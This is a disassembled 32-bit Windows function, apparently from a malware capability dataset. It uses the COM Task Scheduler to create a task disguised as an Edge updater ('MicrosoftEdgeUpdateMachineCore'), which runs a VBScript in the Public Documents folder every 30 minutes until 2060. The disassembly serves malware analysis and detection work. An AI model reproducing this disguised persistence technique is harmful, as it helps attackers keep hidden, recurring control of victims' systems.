Function at 0x10001070
Capabilities:
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003281
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x170
mov eax, dword [0x10006014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
movups xmm0, xmmword [str.C:UsersPublicDocumentscheck.vbs]
mov eax, dword [0x10004258]
mov dword [ebp - 0x28], eax
mov ax, word [0x1000425c]
movups xmmword [ebp - 0xa8], xmm0
mov word [ebp - 0x24], ax
movups xmm0, xmmword [0x100041e8]
mov eax, dword [0x10004268]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xb4]
movups xmmword [ebp - 0x98], xmm0
push eax
movups xmm0, xmmword [0x100041f8]
push 0x10004134
push 1
movups xmmword [ebp - 0x88], xmm0
push 0
movups xmm0, xmmword [0x10004208]
push 0x10004144
mov dword [ebp - 0xb4], 0
movups xmmword [ebp - 0x78], xmm0
movq xmm0, qword [0x10004218]
movq qword [ebp - 0x68], xmm0
movups xmm0, xmmword [str.MicrosoftEdgeUpdateMachineCore]
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x10004230]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x10004240]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [0x10004250]
movq qword [ebp - 0x30], xmm0
movq xmm0, qword [str.PT30M]
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x160]
push eax
call esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x150]
movups xmm0, xmmword [ebp - 0x160]
push eax
movups xmmword [ebp - 0x100], xmm0
call esi
movups xmm0, xmmword [ebp - 0x150]
lea eax, [ebp - 0x140]
push eax
movups xmmword [ebp - 0x110], xmm0
call esi
movups xmm0, xmmword [ebp - 0x140]
lea eax, [ebp - 0x130]
push eax
movups xmmword [ebp - 0x120], xmm0
call esi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x100]
mov ecx, dword [ebp - 0xb4]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x110]
movups xmmword [eax], xmm0
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x120]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x130]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x130]
push eax
call esi
lea eax, [ebp - 0x140]
push eax
call esi
lea eax, [ebp - 0x150]
push eax
call esi
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 0xffffffff
push eax
call esi
push 0xc
mov dword [ebp - 0xc0], 0
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 4
test esi, esi
je 0x100012c1
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x1000426c
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001d79
jmp 0x100012c3
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 5
lea edx, [ebp - 0xc0]
mov eax, dword [ebp - 0xb4]
push edx
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
or edi, 0xffffffff
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000133d
mov eax, dword [esi]
test eax, eax
je 0x1000131b
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001332
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 6
test esi, esi
je 0x1000138c
xorps xmm0, xmm0
lea eax, [ebp - 0x60]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001d83
jmp 0x1000138e
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0xc0]
push 0
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x10001400
mov eax, dword [esi]
test eax, eax
je 0x100013de
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100013f5
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
mov eax, dword [ebp - 0xb4]
lea edx, [ebp - 0xb0]
push edx
mov dword [ebp - 0xb0], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0xb4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xb0]
lea edx, [ebp - 0xb8]
mov dword [ebp - 0xb8], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 8
test esi, esi
je 0x10001498
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x10004270
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001d8d
jmp 0x1000149a
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0xb8]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000150a
mov eax, dword [esi]
test eax, eax
je 0x100014e8
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100014ff
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0xa
test esi, esi
je 0x1000155a
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x10004270
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001d97
jmp 0x1000155c
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0xb8]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x100015cc
mov eax, dword [esi]
test eax, eax
je 0x100015aa
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100015c1
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xb0]
lea edx, [ebp - 0xc4]
mov dword [ebp - 0xc4], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0xc4]
lea edx, [ebp - 0xc8]
push edx
mov dword [ebp - 0xc8], 0
push 2
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov eax, dword [ebp - 0xc4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc8]
lea edx, [ebp - 0xac]
push edx
mov dword [ebp - 0xac], 0
push 0x10004124
mov ecx, dword [eax]
push eax
call dword [ecx]
mov eax, dword [ebp - 0xc8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0xc
test esi, esi
je 0x1000169d
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x10004270
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001da1
jmp 0x1000169f
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0xd
mov eax, dword [ebp - 0xac]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000170f
mov eax, dword [esi]
test eax, eax
je 0x100016ed
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001704
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0xe
test esi, esi
je 0x1000175f
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.2001_01_01T00:00:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001dab
jmp 0x10001761
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0xf
mov eax, dword [ebp - 0xac]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x100017d1
mov eax, dword [esi]
test eax, eax
je 0x100017af
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100017c6
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0x10
test esi, esi
je 0x10001821
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.2060_12_25T12:05:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001db5
jmp 0x10001823
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0x11
mov eax, dword [ebp - 0xac]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x10001893
mov eax, dword [esi]
test eax, eax
je 0x10001871
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001888
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
mov eax, dword [ebp - 0xac]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov eax, dword [ebp - 0xac]
lea edx, [ebp - 0xbc]
mov dword [ebp - 0xbc], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0xac]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0x12
test esi, esi
je 0x1000191a
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.PT24H
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001dbf
jmp 0x1000191c
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0x13
mov eax, dword [ebp - 0xbc]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000198c
mov eax, dword [esi]
test eax, eax
je 0x1000196a
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001981
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0x14
test esi, esi
je 0x100019db
xorps xmm0, xmm0
lea eax, [ebp - 0x20]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001dc9
jmp 0x100019dd
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0xbc]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x10001a4d
mov eax, dword [esi]
test eax, eax
je 0x10001a2b
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001a42
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
mov eax, dword [ebp - 0xbc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xb0]
lea edx, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0xd0]
push edx
mov dword [ebp - 0xd0], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov eax, dword [ebp - 0xcc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xd0]
lea edx, [ebp - 0xd4]
push edx
mov dword [ebp - 0xd4], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
mov eax, dword [ebp - 0xd0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0xc
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov dword [ebp - 4], 0x16
test esi, esi
je 0x10001b20
xorps xmm0, xmm0
lea eax, [ebp - 0xa8]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001dd3
jmp 0x10001b22
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001d79
mov dword [ebp - 4], 0x17
mov eax, dword [ebp - 0xd4]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov dword [ebp - 4], 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x10001b92
mov eax, dword [esi]
test eax, eax
je 0x10001b70
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001b87
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 8
mov dword [ebp - 0xd8], 0
push 0x10004270
mov word [ebp - 0xf0], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0xe8], eax
test eax, eax
je 0x10001ddd
mov dword [ebp - 4], 0x18
lea eax, [ebp - 0x180]
movups xmm0, xmmword [ebp - 0xf0]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
push eax
movups xmmword [ebp - 0x120], xmm0
call esi
movups xmm0, xmmword [ebp - 0x180]
lea eax, [ebp - 0x170]
push eax
movups xmmword [ebp - 0x110], xmm0
call esi
mov byte [ebp - 4], 0x1a
movups xmm0, xmmword [ebp - 0x170]
push 0xc
movups xmmword [ebp - 0x100], xmm0
call fcn.10002251
mov esi, eax
add esp, 4
mov dword [ebp - 0xdc], esi
mov byte [ebp - 4], 0x1b
test esi, esi
je 0x10001c66
xorps xmm0, xmm0
lea eax, [ebp - 0x60]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001de7
jmp 0x10001c68
xor esi, esi
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0xdc], esi
test esi, esi
je 0x10001df1
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0xd8]
movups xmm0, xmmword [ebp - 0x120]
mov ecx, dword [ebp - 0xc0]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x110]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x100]
push 6
push dword [ebp - 0xb0]
movups xmmword [eax], xmm0
push dword [esi]
push ecx
call dword [edx + 0x44]
lock xadd dword [esi + 8], edi
dec edi
jne 0x10001d07
mov eax, dword [esi]
test eax, eax
je 0x10001ce5
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001cfc
push eax
call fcn.10002281
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10002243
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x170]
push eax
call esi
lea eax, [ebp - 0x180]
push eax
call esi
lea eax, [ebp - 0xf0]
mov dword [ebp - 4], 0xffffffff
push eax
call esi
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xd8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10002235
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
push 0x8007000e
call fcn.100020d0
int3